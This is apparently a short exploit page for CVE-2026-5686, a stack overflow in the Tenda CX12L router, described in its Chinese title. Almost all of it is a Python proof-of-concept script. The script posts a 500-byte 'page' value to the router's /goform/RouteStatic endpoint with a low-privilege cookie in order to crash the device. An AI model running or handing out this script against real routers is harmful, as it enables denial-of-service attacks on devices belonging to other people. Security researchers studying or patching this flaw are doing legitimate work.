CVE-2026-5686 Tenda CX12L路由器栈溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/RouteStatic" # Vulnerable parameter: page # Constructing a payload to trigger stack overflow # 500 bytes of 'A' to exceed the buffer size payload = { "page": "A" * 500 } # Attacker requires low-privilege authentication (PR:L) # Replace with valid cookies if necessary cookies = { "Cookie": "user_cookie_here" } try: print("Sending exploit payload...") response = requests.post(target_url, data=payload, cookies=cookies, timeout=5) # If the device crashes, no response or error will be returned print(f"Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Device likely crashed or connection refused: {e}")